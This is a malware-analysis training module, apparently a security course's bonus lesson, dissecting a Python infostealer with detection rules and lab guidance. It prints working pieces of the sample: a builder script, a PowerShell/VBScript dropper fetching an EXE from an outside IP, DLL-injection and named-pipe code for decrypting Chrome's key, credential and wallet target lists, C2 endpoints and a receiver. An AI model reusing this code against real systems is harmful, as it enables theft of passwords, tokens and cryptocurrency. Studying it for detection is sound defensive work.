Module 23 of 22 — Bonus Module
An infostealer is not a sophisticated exploit. It is a burglar that walks through the front door after you unlock it. Modern operating systems and browsers store enormous amounts of sensitive data — passwords, cookies, session tokens, wallet keys, chat sessions — and protect it with encryption that is only as strong as the currently logged-in user. An infostealer simply asks Windows for the keys, reads the files, and ships everything to a server.
Why this matters: The attacker's job is not to "crack" your encryption. It is to run code as you. Once code runs in your user context, it inherits your trust, your keys, and your access. The infostealer is the perfect expression of that principle: identity is the perimeter, and your session is the crown jewel.
Imagine a thief gets inside your house while you are asleep. They don't break the safe. They look in your desk drawer for the password book, copy your credit cards, photograph your ID, grab your phone to read your messages, and take photos of your crypto wallet seed phrase. Then they walk out and mail everything to their boss. You never knew they were there. That's an infostealer. It doesn't destroy your house. It empties it quietly.
The malware is not the threat. The threat is that your digital life is stored in files the malware can read.
"Malware is just software that does bad things."
There is no magic here. The stealer uses the same Windows APIs, the same Python libraries, and the same browser files that legitimate software uses. The difference is intent. If you understand how normal programs store your data, you understand how malware steals it.
Red: Stop treating malware like a black box. Read the source. The techniques are boring, repeatable, and powerful. Blue: If your detection only looks for "evil" APIs, you will miss everything. Look for abnormal sequences of normal operations.
This module assumes you understand these concepts from earlier modules:
Delivery vectors, Invoke-WebRequest, environment variables, and script execution policy bypass. The delivery chain here is pure PowerShell + VBScript.
Process memory layout, virtual memory allocation, and how code executes inside another process. Essential for understanding DLL injection.
Windows registry structure, browser install paths, and how malware finds where Chrome, Edge, and Brave live on disk.
Malware taxonomy, static vs dynamic analysis, and safe lab practices. This module is a direct application of those fundamentals.
DLL injection mechanics, CreateRemoteThread, VirtualAllocEx, and process hollowing concepts. The stealer uses classic remote-thread injection.
Hiding in trusted processes, evasion by blending in, and why security software trusts browser processes. The DLL injection hides inside Chrome.
Detection engineering, Sigma rules, and how to verify claims with evidence. We will build detection rules directly from this sample.
C2 infrastructure, exfiltration patterns, and Flask-based receivers. The receiver here is a simple HTTP C2 server.
Passive analysis, IOC collection, and building a target profile without touching the malware. Use this to map the sample safely.
An infostealer is a category of malware designed to extract valuable information from an infected system and exfiltrate it to an attacker-controlled server. Unlike ransomware, it does not announce itself. Unlike worms, it does not spread. It arrives, harvests, and leaves.
They are high return, low risk, and easy to build. A single infection can yield passwords, session cookies, cryptocurrency wallets, chat histories, and corporate credentials. The attacker does not need to maintain persistence or navigate a network. They just need the victim to run one file once.
Common targets of modern infostealers:
This module is built from the infostealer-poc-analysis repository. The following files were analyzed:
| File | Size | Purpose |
|---|---|---|
src/stealer_template.py | ~402 KB | The actual malware payload |
src/generator.py | ~2 KB | PyInstaller wrapper that builds the EXE |
src/receiver.py | ~11 KB | Flask C2 server that receives stolen data |
commands.txt | 669 B | Operator cheat sheet |
sdfsdfsf.html | ~25 KB | Example exfiltration report |
wrapped dll.txt | ~337 KB | Base64-encoded DLL for process injection |
original info staler as downloaded from target.txt | ~533 KB | Earlier Fernet-encrypted stager |
Every malware operation has roles. This one has three. Understanding the separation is critical for both attack and defense.
Controlled by: Attacker/operator
Runs generator.py and stealer_template.py. Customizes the payload with a target name and compiles it into a single hidden EXE using PyInstaller. This is where the weapon is manufactured.
Controlled by: Target user
Runs the compiled .exe after delivery via PowerShell/VBScript. This machine is robbed. All browser data, tokens, wallets, and sensitive files are extracted from here.
Controlled by: Attacker/operator
Runs receiver.py on 113.30.148.162:8080. Receives exfiltrated data, stores it under /opt/reports/<uuid>/, and renders HTML reports for the operator.
This repository contains analysis only. It does not provide instructions to deploy the malware or execute the compiled EXE. If you choose to run this sample, you do so entirely at your own risk. The builder and receiver are operator-controlled; the EXE is what harms the target.
The entire operation follows a predictable chain. Each step leaves evidence. Each step is a detection opportunity.
Operator runs generator.py
PyInstaller compiles one hidden EXE
PowerShell + VBScript
EXE downloaded to %APPDATA%
Hidden EXE runs
No console window appears
Browsers, tokens, wallets
DLL injection decrypts Chrome key
POST to C2
/create_log, /log_data, /log_files
Operator reads report.html
Passwords, cookies, tokens, files
The operator executes generator.py. It asks for a target name, swaps PLACEHOLDER_TARGET_NAME in stealer_template.py, and calls PyInstaller.
target_name = input("Target name? ").strip()
code = code.replace("PLACEHOLDER_TARGET_NAME", target_name)
subprocess.run(
[sys.executable, "-m", "PyInstaller", "--onefile", "--noconsole", "--name", exe_name, temp_py],
cwd=SCRIPT_DIR,
capture_output=True,
text=True
)
What matters: --onefile packs everything into one EXE. --noconsole hides the window so the victim sees nothing.
After building, generator.py prints three PowerShell commands. These download the EXE, write a hidden VBScript launcher, and execute it.
Invoke-WebRequest -Uri "http://46.120.173.142:8080/testing.exe" -OutFile "$env:APPDATA\testing.exe"
Set-Content -Path "$env:APPDATA\r.vbs" -Value 'CreateObject("WScript.Shell").Run Chr(34) & CreateObject("WScript.Shell").ExpandEnvironmentStrings("%APPDATA%") & "\testing.exe" & Chr(34), 0, False'
wscript "$env:APPDATA\r.vbs"
Translation: Download to AppData, create a VBScript that runs the EXE with window style 0 (hidden), then launch the script.
The compiled EXE is Python + the stealer script packed together. When it runs, it executes main() in stealer_template.py. No window appears.
The payload runs through a checklist of targets. It does not discriminate. If the application stores credentials on disk, the stealer wants them.
nss3.dllEverything is POSTed to the hardcoded C2 server. The endpoints are simple and unauthenticated.
| Endpoint | Purpose |
|---|---|
POST /create_log | Victim check-in, returns log UUID |
POST /log_data | Sends passwords, cookies, Discord tokens, refresh tokens |
POST /log_files | Uploads zip files (wallets, extensions, documents) |
POST /log_files/error | Reports failed file uploads |
POST /logging/errors | Runtime error telemetry |
receiver.py generates report.html under /opt/reports/<uuid>/. The operator downloads it via SCP or opens it on the server. The report contains plaintext passwords, cookies, Discord tokens, and file contents.
"The dropper is more important than the payload."
Anyone can write a script that reads browser files. The hard part is getting it onto the victim's machine and running it without being caught. The PowerShell + VBScript chain here is the real engineering. The payload is just a shopping list.
Red: Spend your time on delivery and execution, not on perfecting the stealer. Blue: If you can stop the dropper, the payload never runs. Focus detection on download + script execution, not just on the final EXE.
This is the crown jewel of the sample. Modern Chrome encrypts cookies and passwords with an app-bound key that is tied to the browser process. The stealer cannot decrypt the key from outside Chrome, so it forces Chrome to do the decryption for it.
Windows keeps processes separated in their own memory boxes. The app-bound key is locked to the browser process. By injecting a DLL into a suspended browser process, the malware becomes the browser long enough to decrypt the key and send it back through a named pipe.
Read registry for Chrome/Edge/Brave path
Start browser in suspended state
Decode base64 DLL to %TEMP%
LoadLibraryA via remote thread
Send key over named pipe, get plaintext
Kill browser process, close pipe
def get_install_path(executable_name):
for hive in REGISTRY_PATHS["Hives"]:
for subpath in REGISTRY_PATHS["Subpaths"]:
try:
with winreg.OpenKey(hive, subpath + "\\" + executable_name) as key:
install_path, _ = winreg.QueryValueEx(key, None)
return install_path
except FileNotFoundError:
continue
return None
What it does: Looks in HKLM and HKCU for where Chrome/Edge/Brave is installed. The malware needs the real browser executable to launch as a disguise.
ctypes.windll.kernel32.CreateProcessW(
app_path, None, None, None, False, 0x08000004,
None, None, ctypes.byref(startup), ctypes.byref(proc_info)
)
Key flag: 0x08000004
0x00000004 = CREATE_SUSPENDED0x08000000 = CREATE_NO_WINDOWThe browser process exists but is frozen. The malware can operate inside it before the browser even wakes up.
WRAPPED_DLL = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA...'
dll_path, dll_len = unwrap_dll(base64.b64decode(WRAPPED_DLL))
def unwrap_dll(file_bytes):
temp_dir = tempfile.mkdtemp()
filename = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(16)) + ".dll"
file_path = os.path.abspath(os.path.join(temp_dir, filename))
with open(file_path, "wb") as f:
f.write(file_bytes)
return file_path.encode("ascii"), len(file_path) + 1
What it does: The malware carries a ~337 KB base64-encoded Windows DLL inside itself. At runtime it decodes the DLL, writes it to a random temp folder with a 16-character filename, and prepares it for injection. The first decoded bytes are 4D 5A — "MZ" — the signature of every Windows executable.
def inject_dll(dll_path, dll_len, process_handle):
arg_address = kernel32.VirtualAllocEx(process_handle, None, dll_len, 0x3000, 0x04)
written = c_size_t(0)
kernel32.WriteProcessMemory(process_handle, arg_address, dll_path, dll_len, byref(written))
h_kernel32 = kernel32.GetModuleHandleA(b"kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32, b"LoadLibraryA")
thread_id = c_ulong(0)
kernel32.CreateRemoteThread(process_handle, None, 0, h_loadlib, arg_address, 0, byref(thread_id))
Line by line:
VirtualAllocEx — allocate memory inside the browser processWriteProcessMemory — write the DLL path into that memoryGetModuleHandleA("kernel32.dll") — find kernel32 in the browserGetProcAddress("LoadLibraryA") — find the function that loads DLLsCreateRemoteThread — start a thread inside the browser that loads our DLLResult: The browser process loads and executes the attacker's DLL. To Windows, it looks like the browser did it.
def setup_pipe(pipe_name):
return win32pipe.CreateNamedPipe(
pipe_name, win32pipe.PIPE_ACCESS_DUPLEX,
win32pipe.PIPE_TYPE_BYTE | win32pipe.PIPE_READMODE_BYTE | win32pipe.PIPE_WAIT,
1, 65536, 65536, 0, None
)
def decrypt_key(pipe, encrypted_key):
length_prefix = len(encrypted_key).to_bytes(4, byteorder='little', signed=False)
win32pipe.ConnectNamedPipe(pipe, None)
win32file.WriteFile(pipe, length_prefix + encrypted_key)
_, data = win32file.ReadFile(pipe, 4096)
return data.decode('ascii').strip()
What it does: The injected DLL runs inside the browser. It decrypts Chrome's app-bound key and sends the plaintext back over a named pipe. The pipe name is derived deterministically from the browser process ID so both sides know where to connect.
"Evasion is a cat and mouse game."
Chrome's app-bound encryption was added to stop exactly this kind of theft. The malware's response is to wear Chrome's uniform and ask the vault to open itself. Every defense creates a new offense. Your job is not to build the perfect wall — it is to make the attack so noisy and expensive that it gets caught.
Red: Evasion is temporary. Today's trick becomes tomorrow's signature. Keep learning new tricks. Blue: Don't rely on a single control. Layer detection: process creation flags, DLL loads from temp, named pipes, browser profile access, and outbound C2.
The stealer is comprehensive. It does not target one thing. It targets everything that might be valuable.
The malware targets 38 Chromium-based browsers with paths like:
%LOCALAPPDATA%\Google\Chrome\User Data %LOCALAPPDATA%\Microsoft\Edge\User Data %LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data %APPDATA%\Opera Software\Opera Stable
For each browser it kills the process with taskkill, copies Login Data, Network\Cookies, and Web Data, then decrypts them using the DPAPI master key or the injected DLL's app-bound key.
def extract_firefox():
firefox_base = os.path.join(APPDATA, 'Mozilla', 'Firefox')
firefox_path = os.path.join(firefox_base, 'Profiles')
Uses Mozilla's legitimate nss3.dll crypto library to decrypt Firefox's key4.db and logins.json.
DISCORD_PATHS = [
{"name": "Discord", "path": os.path.join(APPDATA, "discord", "Local Storage", "leveldb")},
{"name": "Discord Canary", "path": os.path.join(APPDATA, "discordcanary", "Local Storage", "leveldb")},
{"name": "Discord PTB", "path": os.path.join(APPDATA, "discordptb", "Local Storage", "leveldb")},
...
]
Discord Desktop stores its login token in LevelDB files under Local Storage\leveldb. The malware searches .ldb and .log files for token patterns, decrypts tokens prefixed with dQw4w9WgXcQ:, and calls Discord's API to enrich the token with username, email, and phone. A Discord token is a bearer credential — whoever holds it is the user.
Browser extensions (50+): MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Exodus, Ronin, Keplr, and others.
Desktop wallets (12): Atomic, Exodus, Electrum, Electrum-LTC, Zcash, Armory, Bytecoin, Jaxx, Ethereum, Guarda, Coinomi, Monero.
These are zipped and uploaded as files via /log_files.
def extract_telegram():
tdata_path = os.path.join(APPDATA, "Telegram Desktop", "tdata")
if os.path.exists(tdata_path):
zip_to_storage("tdata_session", tdata_path, STORAGE_PATH)
Telegram's session folder is zipped wholesale. For WhatsApp, the stealer grabs IndexedDB/Local Storage from browsers where WhatsApp Web was used.
PATHS_TO_SEARCH = [
USER_PROFILE + "\\Desktop",
USER_PROFILE + "\\Documents",
USER_PROFILE + "\\Downloads",
USER_PROFILE + "\\OneDrive\\Documents",
USER_PROFILE + "\\OneDrive\\Desktop",
]
FILE_KEYWORDS = [
"passw", "mdp", "motdepasse", "mot_de_passe", "login", "secret",
"account", "acount", "paypal", "banque", "metamask", "wallet",
"crypto", "exodus", "discord", "2fa", "code", "memo", "compte",
"token", "backup", "seecret", "passphrase", "seed"
]
It walks the user's personal folders and copies any file whose name contains these keywords. File types include .txt, .log, .docx, .xlsx, .pdf, .json, .db, images, and videos.
The sample is noisy. It uses hardcoded IPs, plaintext HTTP, and unauthenticated endpoints. These are gifts to network defenders.
MAIN_URL = "http://113.30.148.162:8080"
No domain. No HTTPS. No rotation. Every infected machine phones home to this IP in plaintext.
The malware is not trying to hide its traffic. It POSTs large blobs of data to a public IP over HTTP. A single firewall rule or IDS signature can detect the C2 check-in. The Discord API validation call from a non-browser process is another easy behavioral signal.
receiver.py is a Flask server that collects the loot. It is intentionally simple — and intentionally insecure.
REPORTS_DIR = "/opt/reports"
os.makedirs(REPORTS_DIR, exist_ok=True)
@app.route("/create_log", methods=["POST"])
def create_log():
...
@app.route("/log_data", methods=["POST"])
def log_data():
...
generate_report(log_uuid)
@app.route("/log_files", methods=["POST"])
def log_files():
...
extract_file_contents(f.filename, file_bytes)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=False)
Running receiver.py is safe in itself, but exposing it to the internet means other people's malware might find it. The receiver only receives what is sent to it — but what it receives is live stolen credentials.
This section is adapted from FIELD_MANUAL.md. Follow it exactly if you test this sample.
If you run the EXE on a machine with real accounts, that machine is the victim. Treat every run as a live-fire exercise.
[Your real network]
|
| (isolated, no routing)
v
[Hypervisor host] ----> [Victim VM - Windows 10/11]
| |
| | HTTP to C2 only
| v
|------------> [C2 VM - Linux]
|
| (isolated from internet or tightly controlled)
v
[Optional: internet for Discord API validation]
192.168.56.10passwords.txt on Desktopclean-c2 and clean-victimEdit line 25 of stealer_template.py to point at your lab C2:
MAIN_URL = "http://192.168.56.10:8080"
On the Builder machine:
cd listenerdcord/src python generator.py # Enter target name: labtest
Transfer labtest.exe to the C2 VM and serve it:
scp src/labtest.exe user@192.168.56.10:/opt/labtest.exe cd /opt python3 -m http.server 8081
cd /opt python3 receiver.py [*] Receiver listening on 0.0.0.0:8080 [*] Reports saved to /opt/reports/<userid-timestamp>/report.html
Invoke-WebRequest -Uri "http://192.168.56.10:8081/labtest.exe" -OutFile "$env:APPDATA\labtest.exe"
Set-Content -Path "$env:APPDATA\r.vbs" -Value 'CreateObject("WScript.Shell").Run Chr(34) & CreateObject("WScript.Shell").ExpandEnvironmentStrings("%APPDATA%") & "\labtest.exe" & Chr(34), 0, False'
wscript "$env:APPDATA\r.vbs"
On the C2 VM terminal you should see:
[NEW LOG] uuid=labtest-1234567890 | passwords=1 cookies=... discord=1 ... [DATA RECEIVED] uuid=labtest-1234567890 | passwords=1 cookies=... discord=... [FILE UPLOAD] uuid=labtest-1234567890 | files=[...] [REPORT] saved to /opt/reports/labtest-1234567890/report.html
Ctrl+CCtrl+Cclean-victim snapshotclean-c2 snapshotDo not skip the revert. The victim VM is compromised. Even if the malware has no persistence, you cannot trust it.
"Save every rung."
When you climb a ladder, you don't throw away the rungs behind you. In malware analysis, every command, every IP, every filename, and every error message is a rung. Save your snapshots, save your logs, save your notes. The day you need to explain what happened — to a client, a court, or yourself — you will be glad you did.
Red: Document your infrastructure. Rebuildable labs are repeatable labs. Blue: Preserve evidence before cleanup. A reverted VM is clean, but a memory dump and packet capture are proof.
The sample is noisy. These Sigma-style and YARA-style rules target its most distinctive behaviors.
title: Browser Kill Followed by Profile Access
logsource:
category: process_creation
product: windows
detection:
selection_taskkill:
CommandLine|contains: 'taskkill /F /IM chrome.exe'
selection_fileaccess:
TargetFilename|contains:
- '\Google\Chrome\User Data\Login Data'
- '\Google\Chrome\User Data\Network\Cookies'
condition: selection_taskkill and selection_fileaccess
Why it works: The stealer kills Chrome before reading its SQLite databases. Seeing taskkill immediately followed by access to Login Data or Cookies is highly suspicious.
title: Suspended Browser Process Creation
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- 'chrome.exe'
- 'msedge.exe'
- 'brave.exe'
create_suspended:
CreationOptions|contains: '0x08000004'
condition: selection and create_suspended
Why it works: Browsers are almost never launched suspended by normal users. The CREATE_SUSPENDED flag is a strong indicator of injection preparation.
rule InfostealerNamedPipe {
strings:
$pipe = "\\\\.\\pipe\\" ascii wide
$createpipe = "CreateNamedPipe" ascii wide
$loadlib = "LoadLibraryA" ascii wide
$createremote = "CreateRemoteThread" ascii wide
condition:
all of them
}
Why it works: The combination of named pipes, remote thread creation, and DLL loading in a single binary is characteristic of local process injection used by stealers.
%TEMP% with a random name\\.\pipe\[32 hex chars]Login Data, Cookies, and Local State files/create_log, /log_data, /log_filesIf you accidentally run this sample on a real machine, speed matters. The malware extracts data within seconds. Use this checklist.
| Mistake | Why it burns you |
|---|---|
| Running the EXE on host | You become the victim |
| Using a bridged network | Malware can reach your real LAN |
| Logging into real accounts in the VM | Those accounts get stolen |
| Forgetting to snapshot | You lose the clean state |
| Not reverting after | Compromised VM stays compromised |
| Exposing receiver to internet | Random attackers dump your data |
| Decoding and running the DLL directly | You're executing unknown binary code |
Why does the malware inject a DLL into a suspended browser process?
What is the primary purpose of generator.py?
Which of the following is NOT a target of this infostealer?
What makes the C2 traffic easy to detect?
What is the first step in incident response if you run the EXE on a real machine?
This module connects directly to earlier training:
The delivery chain is built from PowerShell and VBScript primitives.
The Chrome key bypass is a worked example of DLL injection.
Practice writing and testing the Sigma/YARA rules shown here.
The receiver is a minimal HTTP C2 server; compare to more advanced architectures.
Use passive analysis to extract IOCs and build a threat profile from this sample.